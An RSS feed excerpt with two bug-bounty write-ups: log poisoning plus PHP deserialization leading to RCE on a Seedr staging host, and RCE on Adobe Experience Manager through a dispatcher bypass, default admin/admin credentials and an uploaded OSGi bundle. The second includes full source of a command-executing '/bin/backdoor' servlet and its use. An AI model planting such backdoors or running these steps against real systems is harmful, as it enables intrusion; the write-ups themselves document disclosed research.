I gave a try at the staging host: <a href="http://api-stage.seedr.ru/application/logs/2021/12/20.php"><em>http://api-stage.seedr.ru/application/logs/2021/12/20.php</em></a> and to my surprise, I received a 404 HTTP status code. I don’t know what pushed me to do that, but I changed the .php extension to <strong>.log</strong><em>,</em> and …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ySawx41RKuf6XazV" /></figure><p>Yes, I got the huge log file which even froze my Burp Suite a little. I should note that such a trick didn’t work on the production host <em>api.seedr.ru</em>. I can only guess that <em>Seedr </em>developers changed something on the staging environment to make accessing log files easier. But as usual, it led to a security issue.</p><p>One more time I opened a new door and started exploring it. Do you still remember how I triggered the Error exception the first time? Here is a record about it in the log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mxJoD-5sCyi72kXM" /></figure><p>After short analysis of log file I poisoned it with such a record:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_4syAwRVKHUPJ6jV" /></figure><p>With PHPGGC I created a new serialized <em>View </em>object with <em>_file </em>attribute /var/www/t1.seedr.backend/application/logs/2021/12/20.log, hosted it on the controlled server, sent request and got following error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W2XNzgb5PD9H2j1X" /></figure><p>Seems like because the log file was too huge (&gt;200000 lines), some function<em> </em>failed on one of the ? symbols, threw an exception and stopped the execution of the script. From <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.tostring">PHP docs</a> I learned that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*btQJtEuAUtVLaCQ4" /></figure><p>Because the log file for December 20 was ruined with my unsuccessful payload, all other tests on that host were useless so I moved to the local environment. Hours of debugging and tests with include() and log file did not lead to the desired result.</p><p>During the morning shower, I remembered one more awesome article from <a href="https://twitter.com/cfreal_">Charlese Fol</a> <a href="https://www.ambionics.io/blog/laravel-debug-rce">Laravel &lt;= v8.4.2 debug mode: Remote code execution (CVE-2021–3129)</a>. It uses the technique with multiple base64 decoding feature which ignore not base64. Firstly, I read about it from <a href="https://twitter.com/orange_8361">Orange Tsai</a> <a href="http://blog.orange.tw/2018/10/">blog</a>. My idea was to poison a log with multiple base64 encoded PHP payload, then decode it with multiple convert.base64-decode filters inside the include() function to bypass that exception with the ? symbol. But because it was a sleepless night my brain didn’t work well and I completely forgot that in the Laravel case it abused file_get_contents() and file_put_contents() functions chain with the same arguments inside it which allowed Charlese to rewrite log. I also forgot about this limitation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NsaXMtVDsvScNwyi" /><figcaption>Screenshot from Charlese’s article</figcaption></figure><p>Because of the predictable log file path (/application/logs/2021/12/20.log) I downloaded a few log files for previous days and planned to poison the log for December 21 at the beginning of the day until it wasn’t too huge.</p><p>I posted all collected information to the H1 report and had a full day before December 21. Without wasting time I tried to exploit my finding on the production environment <em>api.seedr.ru</em>, because all my last tests were on <em>api-stage.seedr.ru</em>. One more time with the help of PHPGGC I created a <em>View </em>object with _file attribute /etc/passwd, hosted it on the controlled server and … I didn’t observe the content of the /etc/passwd file in the response. I repeated the same steps on <em>api-stage.seedr.ru</em> and all worked fine. “Oops, does it only work on a staging environment?”</p><h3>Null bytes</h3><p>Here I must confess that when I generated serialized object with PHPGGC I modified it a little:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/0*H3lcfcB6bhuJUJCP" /></figure><p>Does the *_file<em> </em>string has really 8 symbols? No, it has only 6. That is what I modified every time and it worked flawlessly on <em>api-stage.seedr.ru.</em> Later in the stack trace, I noticed the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/0*NHh2p40s_YsIB1Z1" /></figure><p>Value of protected _file<em> </em>attribute is NULL, but for some reason <em>View </em>object has public *_file attribute with my payload. Probably PHP experts already understood the reason for such behavior, but I had to spend some time dealing with this problem.</p><p>As you could notice from screenshots for storing payloads I used <a href="https://webhook.site/">https://webhook.site/</a>, it’s a fast and easy solution for receiving incoming HTTP connections and hosting the payloads. Unfortunately that time it played a bad joke on me. The thing is <a href="https://stackoverflow.com/a/37468673">to store protected value in serialized string PHP use null characters (<em>\0</em>) around “*” symbol</a>, that is why *_file has 8 symbols:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/0*nhYKCUrgwRL1cnx2" /></figure><p>Because I just copy-pasted payload to <em>webhook.site</em>, it didn’t store these null characters and delivered to unserialize() public attribute *_file. To resolve such a problem I just hosted a serialized string with null bytes on my server. Now <em>vimeo.com</em> redirects requests to my server where I just echo() payload with null characters. After I was able to observe the content of /etc/passwd on <em>api.seedr.ru </em>I one more time returned to analyze downloaded log files.</p><h3>Last poison</h3><p>Log files had a lot of record types, but only a few could be used to store payload and most of them required authentication. Even during the first analysis of log files, I noticed the following record type:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DU0xaFc7cGLRauq_" /></figure><p>What was good about this record type, was that it stored payload only once per record and didn’t repeat it several times like my previous attempt. I also noted a possible injection point: <em>user-agent</em>. But the problem was that I didn’t know how to generate such a record in a log and what endpoint should I access. I “grepped” logs with my IP and discovered that today’s log file already has such a record with my IP, which meant that I definitely touched the required endpoint. By that time my Burp Proxy history had already more than 40000 records, so it was kind of difficult to find a proper endpoint. Comparing the time of the record with my IP and the activity that I performed at that time I understood that the record was probably generated during my scan with <em>dirsearch</em>. I rerun it and after some time the endpoint which generated such a record was found: <em>api-stage.seedr.ru/inc.</em></p><p>On the local environment, I hid the new payload in a test log file, include() it, and got the output of the bash command. All that was left was to wait until December 21 and fresh log file, because on December 20 log files for <em>api.seedr.ru</em> and <em>api-stage.seedr.ru</em> were poisoned with my unsuccessful payloads.</p><p>The next day I poisoned the log with the following request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OQ3bz6Yhtu79lQ9Q" /></figure><p>Generated the payload, hosted on the server, sent request …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*mQiTZuixdPHSLIK0O04SxQ.png" /></figure><p>Yeap, I forgot to change $argv[1] to $_GET[1]<em> </em>after local tests… Looking forward to waiting one more day I remembered that for today I have one more attempt at <em>api-stage.seedr.ru:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*40yjy3DA59MnyDOX" /><figcaption><em>This is how victory looks</em></figcaption></figure><h3>TL;DR</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5MIPw-u1XuZbqsQL" /><figcaption><a href="https://i.imgur.com/DrNEGRH.png">https://i.imgur.com/DrNEGRH.png</a> without compression</figcaption></figure><h3>Thanks to:</h3><ul><li><a href="https://twitter.com/rootxharsh">@rootxharsh</a> for sharing open redirect;</li><li><a href="https://twitter.com/act1on3">@act1on3</a> and my personal PHP expert for being my rubber ducks.</li></ul><h3>References:</h3><p><a href="https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e">https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e</a></p><p><a href="https://github.com/ambionics/phpggc">https://github.com/ambionics/phpggc</a></p><p><a href="https://hackerone.com/ryat">https://hackerone.com/ryat</a></p><p><a href="https://www.ambionics.io/blog/laravel-debug-rce">https://www.ambionics.io/blog/laravel-debug-rce</a></p><p><a href="http://blog.orange.tw/2018/10/">http://blog.orange.tw/2018/10/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66a7f73fd082" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to get RCE on AEM instance without Java knowledge]]></title>
            <link>https://medium.com/@byq/how-to-get-rce-on-aem-instance-without-java-knowledge-a995ceab0a83?source=rss-1ddece645815------2</link>
            <guid isPermaLink="false">https://medium.com/p/a995ceab0a83</guid>
            <category><![CDATA[adobe-experience-manager]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <dc:creator><![CDATA[byq]]></dc:creator>
            <pubDate>Tue, 01 Oct 2019 17:55:47 GMT</pubDate>
            <atom:updated>2019-10-01T19:33:58.644Z</atom:updated>
            <content:encoded><![CDATA[<p>Before deep diving into how I was able to perform remote code execution on one of Adobe Experience Manager instances at bug bounty program let me tell you in brief about this huge and complex system.</p><p>Few years ago <a href="https://twitter.com/darkarnium">Peter Adkins (Darkarnium)</a> found RCE at signout.live.com, so with his permission I give a technical description of the system taken from his <a href="http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html">write-up</a>.</p><p>If you are familiar with AEM, you can safely go to <strong>Discover</strong> section.</p><h3>AEM Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/0*Vzd77KQXTsbvewXB.png" /></figure><p>Adobe Experience Manager (AEM) is an “enterprise grade” content management system sold and maintained by Adobe Systems. The core components of this system run inside of a JVM, with an optional Apache HTTP server module provided for “caching and/or load-balancing”.</p><h4>AEM Architecture</h4><p>Under the hood, “stock” AEM deployment consists of a vast array of open source products and some Adobe brand glue. Rather than the services which comprise AEM being deployed in a “traditional” manner, they are instead implemented as components inside of an Apache Felix based Open Services Gateway initiative (<strong>OSGi</strong>) framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*FAP-HHs5AnA3pTyt.png" /><figcaption><em>A view of the AEM internal architecture, taken from the AEM 5.6.1 documentation.</em></figcaption></figure><p>The advantage of this system is that these components, known as OSGi “bundles”, can be installed, restarted, or re-configured without the need to restart the OSGi framework or underlying JVM. In addition, this architecture allows for the extension of AEM through the development and installation of custom OSGi bundles.</p><h4>Deployment Topology</h4><p>A “typical” AEM deployment consists of three distinct tiers:</p><ul><li>Author (runs in a JVM)</li><li>Publish (runs in a JVM)</li><li>Dispatch (runs as an Apache HTTP Server module)</li></ul><p>An example diagram of this style of tiered deployment can be found below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DoKicgXWIdDmbXN3.png" /><figcaption>A common three tier deployment, taken from the AEM 5.6.1 documentation.</figcaption></figure><p>In order to improve the security posture of an AEM installation, these tiers are typically deployed with the Author and Publish tiers protected from the world through network segmentation and/or access controls. The Dispatch tier is generally the only tier “open” to the internet, providing a mechanism to retrieve and cache content from the Publish tier (in a manner not unlike that of a reverse-proxy).</p><h4>Dispatch Filtering</h4><p>As a result of the Dispatch tier pulling data from upstream Publish nodes, the Dispatch module implements a “filtering” mechanism in order to mitigate abuse. This filter is especially important given that nodes in the Publish tier serve both content and administrative resources via the same Apache Sling service.</p><p>As an example of why this filtering is required, the following URL on the Publish node publish.example.org are able to be accessed without any authentication:</p><ul><li><a href="https://publish.example.org/etc/reports/diskusage.html">https://publish.example.org/etc/reports/diskusage.html</a></li></ul><p><em>This page provides a browsable view of all data in the content repository.</em></p><p>However, if accessed via the Dispatch tier — assuming a default Dispatch configuration with an empty cache — the following should be true:</p><ul><li><a href="https://dispatch.example.org/etc/reports/disusage.html">https://dispatch.example.org/etc/reports/disusage.html</a></li></ul><p><em>Filtered by the Dispatch tier, with an HTTP 404 served to the requestor.</em></p><p>In order to implement these restrictions, the <em>default</em> AEM Dispatch module configuration contains a set of filters which operate in a default “deny” manner: If a resource hasn’t been explicitly allowed inside of a filter block, requests for that resource would be denied.</p><p>In order to better demonstrate this configuration, an excerpt from an example Dispatch configuration file — taken from the AEM 5.6.1 “security checklist” — has been included below:</p><pre># only handle the requests in the following acl. default is &#39;none&#39;<br> # the glob pattern is matched against the first request line<br> /filter<br>   {<br>   # deny everything and allow specific entries<br>   /0001 { /type &quot;deny&quot;  /glob &quot;*&quot; }<br>   /0023 { /type &quot;allow&quot; /glob &quot;* /content*&quot; }<br>   ...<br>   # enable specific mime types in non-public content directories<br>   /0041 { /type &quot;allow&quot; /glob &quot;* *.css *&quot;   }  # enable css<br>   /0042 { /type &quot;allow&quot; /glob &quot;* *.gif *&quot;   }  # enable gifs<br>   ...<br>  }</pre><p>The end result of this configuration is that the ability to pull Publish tier administrative resources through the Dispatch tier should be prevented.</p><h3>Discover</h3><p>I hope this information is enough to understand key features of AEM.</p><p>After watching a great presentation “<a href="https://www.bugcrowd.com/resources/events/level-up-0x03/aem-hacker-approaching-adobe-experience-manager-web-apps/"><strong>AEM hacker — approaching Adobe Experience Manager webapps in bug bounty programs</strong></a>” by <br>Mikhail Egorov (<a href="https://medium.com/u/6f56c3c0fd59">0ang3el</a>) at Bugcrowd Level Up 0x03 event where he presented <a href="https://github.com/0ang3el/aem-hacker">tools</a> for AEM security testing and exploitation I decided to make some practice. I chose one of the bug bounty program, which contains several AEM instance in scope and began testing.</p><p>Due to the non-disclosure policy of the program I will only use <em>example.org</em> domain.</p><p>First of all I launched <strong>aem_hacker.py — </strong>a script which performs dozens of checks to find security misconfigurations. After a few minutes I got a long listing of potential issues which meant that this instance had some problems with security.</p><p>One of the most interesting findings for me was exposed Felix Console, which in some cases can lead to RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCxYg3fIg1ly6oogaVxoaw.png" /></figure><p>The Web console in AEM is based on the Apache Felix Web Management Console. Apache Felix is a community effort to implement the OSGi R4 Service Platform, which includes the OSGi framework and standard services.</p><p>The Web console offers a selection of tabs for maintaining the OSGi bundles, including:</p><ul><li>Configuration: used for configuring the OSGi bundles, and is therefore the underlying mechanism for configuring AEM system parameters</li><li>Bundles: used for installing bundles</li><li>Components: used for controlling the status of components required for AEM</li></ul><p>If you try to send following request:</p><pre>GET /system/console/bundles HTTP/1.1 <br>Host: example.org</pre><p>… in most cases you will get the following response:</p><pre>HTTP/1.1 404 Not Found</pre><p>To bypass dispatcher I used request:</p><pre>GET /system/console/bundles<strong>?.css</strong> HTTP/1.1 <br>Host: example.org</pre><p>… and get the following response:</p><pre>HTTP/1.1 403 Forbidden</pre><p>Actually, such behavior proved that instance was vulnerable to <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0957">CVE-2016–0957</a>.</p><p>So, the next step I needed to pass through was some kind of authorization. Generally AEM accept HTTP Basic Authorization header. But, what about credentials? Let’s try default pair admin/admin . And … we are in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aUdiZERNqQnFy429.png" /><figcaption>Exposed Web Console at signout.live.com from Darkarnium <a href="http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html">write-up</a></figcaption></figure><p>Since this was my first time seeing Web Console I spent some time just exploring it. As you can see on the screenshot above it contains a lot of juicy info and functionality. But let’s return to OSGi bundle and achieve desired RCE.</p><h3>Exploit</h3><p>Luckily, <a href="https://medium.com/u/6f56c3c0fd59">0ang3el</a> have prepared <a href="https://github.com/0ang3el/aem-rce-bundle">aem-rce-bundle</a> — which contains pre-build bundle, source code of this bundle and some instructions.</p><p>At <a href="https://example.org/system/console/status-productinfo">https://example.org/system/console/status-productinfo</a> I checked installed AEM version and got Adobe Experience Manager (6.1.0.x) (available since May 28, 2015). So, this meant that I couldn’t use pre-build bundle, because it requires at least version 6.2. If you don’t have ready exploit, try to build it yourself.</p><p>As said in repository’s instruction for AEM version 6.0 or newer I can use following Maven command:</p><pre>mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \<br> -DarchetypeGroupId=com.adobe.granite.archetypes \<br> -DarchetypeArtifactId=aem-project-archetype \<br> -DarchetypeVersion=SELECT_FROM_TABLE \<br> -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*PT-82EMD-Uad6SQnpsHPbQ.png" /></figure><p>From the table I chose Archetype version 10.</p><p>At that moment I didn’t even have Maven installed on my machine, so it required some time to install and configure it.</p><p>After Maven was ready I ran final command:</p><pre>mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \<br> -DarchetypeGroupId=com.adobe.granite.archetypes \<br> -DarchetypeArtifactId=aem-project-archetype \<br> -DarchetypeVersion=10 \<br> -DarchetypeCatalog=https://repo.adobe.com/nexus/content/groups/public/</pre><p>And this was the moment when the real difficulties arose. As you probably have already understood, it was my first experience working with Maven and when it started to ask for additional info, such as <em>groupId, artifactId, package, artifactName etc, </em>I got stuck. However after some time spending to research of structure and source codes of pre-build bundle I found correct variant:</p><pre>Define value for property &#39;groupId&#39;: : aem.hacks<br>Define value for property &#39;artifactId&#39;: : rce.bundle<br>Define value for property &#39;version&#39;:  1.0-SNAPSHOT: : <br>Define value for property &#39;package&#39;:  aem.hacks: : <br>Define value for property &#39;appsFolderName&#39;: : aem.hacks<br>Define value for property &#39;artifactName&#39;: : aem.hacks<br>Define value for property &#39;componentGroupName&#39;: : aem      <br>Define value for property &#39;contentFolderName&#39;: : aem.hacks<br>Define value for property &#39;cssId&#39;: : aem<br>Define value for property &#39;packageGroup&#39;: : aem.hacks<br>Define value for property &#39;siteName&#39;: : aem.hacks</pre><p>After creation of the project I deleted all unnecessary directories and project structure looked like this:</p><pre>└── rce.bundle<br>    ├── README.md<br>    ├── core<br>    │   ├── pom.xml<br>    │   └── src<br>    │       └── main<br>    │           └── java<br>    │               └── aem<br>    │                   └── hacks<br>    │                       └── core<br>    │                           ├── package-info.java<br>    │                           └── servlets<br>    │                               └── SimpleServlet.java<br>    └── pom.xml</pre><p>In <em>rce.bundle/pom.xml</em> I left only core module:</p><pre>&lt;modules&gt;<br>    &lt;module&gt;core&lt;/module&gt;<br>&lt;/modules&gt;</pre><p>After that I modified servlet from aem-rce-bundle (with my practically zero Java knowledge), because it didn’t work for me.</p><p>Final variant of SimpleServlet.java (it’s probably awful, but c’mon):</p><pre>package aem.hacks.core.servlets;</pre><pre>import org.apache.felix.scr.annotations.sling.SlingServlet;<br>import org.apache.sling.api.SlingHttpServletRequest;<br>import org.apache.sling.api.SlingHttpServletResponse;<br>import org.apache.sling.api.resource.Resource;<br>import org.apache.sling.api.servlets.SlingAllMethodsServlet;<br>import org.apache.sling.api.servlets.SlingSafeMethodsServlet;</pre><pre>import javax.servlet.ServletException;<br>import java.io.IOException;</pre><pre>import java.io.*;</pre><pre><a href="http://twitter.com/SuppressWarnings">@SuppressWarnings</a>(&quot;serial&quot;)<br><a href="http://twitter.com/SlingServlet">@SlingServlet</a>(resourceTypes = &quot;aem.hacks/structure/page&quot;, paths = &quot;<strong>/bin/backdoor</strong>&quot;)<br>public class SimpleServlet extends SlingSafeMethodsServlet {</pre><pre><a href="http://twitter.com/Override">@Override</a><br>    protected void doGet(final SlingHttpServletRequest req,<br>            final SlingHttpServletResponse resp) throws ServletException, IOException {<br>        final Resource resource = req.getResource();</pre><pre>Process proc = Runtime.getRuntime().exec(req.getParameter(&quot;cmd&quot;));</pre><pre>BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));</pre><pre>StringBuilder sb = new StringBuilder();<br>        String s = null;<br>        while ((s = stdInput.readLine()) != null) {<br>            sb.append(s + &quot;\n&quot;);<br>        }<br>        String output = sb.toString();</pre><pre>resp.setContentType(&quot;text/plain&quot;);<br>    resp.getWriter().write(output);</pre><pre>}<br>}</pre><p>After everything was ready I launched command to build and package bundle:</p><pre>mvn package</pre><p>.. and got red:</p><pre>...<br>[INFO] BUILD FAILURE<br>...</pre><p>Here I tried to make some changes to Maven command, project structure, servlet source code, but every time I got BUILD FAILURE. And maybe it could be the standstill, but one of my colleagues (PHP expert) advised me to check my version of Java. It turned out that I built bundle using Java 11 and after switching to Java 8 I finally got BUILD SUCCESS. Here is a command which helped me:</p><pre>update-alternatives --config java</pre><p>My bundle was ready and located in <em>rce.bundle/core/target.</em> I navigated to <a href="https://www1.mastercard.com/system/console/bundles">https://example.org/system/console/bundles</a>, pressed “Install/Update…” button and uploaded created jar file with enabled “Start Bundle” checkbox. At console I already saw that installation was successful and backdoor was accessible at defined in servlet path.</p><pre><a href="https://example.org/bin/backdoor?cmd=id">https://example.org/bin/backdoor?cmd=id</a></pre><pre>uid=1004(publish) gid=1004(publish) groups=1004(publish)</pre><p>After identification of RCE I deleted uploaded bundle from AEM and reported issue to vendor.</p><p>In a few hours I got first reply from triage team, which marked my submission as “Not applicable” because it was out of scope.</p><p>Sad, but it’s a common case in bug bounty. Anyway I got great experience of exploitation of such things and spent my time not in vain.</p><p>And probably it should be the end of the story, but exactly one month later I got notification from Bugcrowd with following content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/0*iH_Vp1AzlbBoH5DS" /><figcaption>okay.</figcaption></figure><p>Vendor accepted this due to the severity even as it was out-of-scope. Rightly.</p><p>P.S. Thanks to <a href="https://twitter.com/darkarnium">Peter Adkins (Darkarnium)</a>, <a href="https://twitter.com/0ang3el">Mikhail Egorov</a> (<a href="https://medium.com/u/6f56c3c0fd59">0ang3el</a>) and my PHP expert colleague.</p><p><strong>References:</strong></p><ul><li><a href="http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html">Remote Code Execution (RCE) on Microsoft&#39;s &#39;signout.live.com&#39;</a></li><li><a href="https://www.bugcrowd.com/resources/webinars/aem-hacker-approaching-adobe-experience-manager-web-apps/">AEM hacker - Approaching Adobe Experience Manager Web Apps | Bugcrowd</a></li><li><a href="https://github.com/0ang3el/aem-hacker">GitHub - 0ang3el/aem-hacker</a></li><li><a href="https://github.com/0ang3el/aem-rce-bundle">0ang3el/aem-rce-bundle</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a995ceab0a83" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>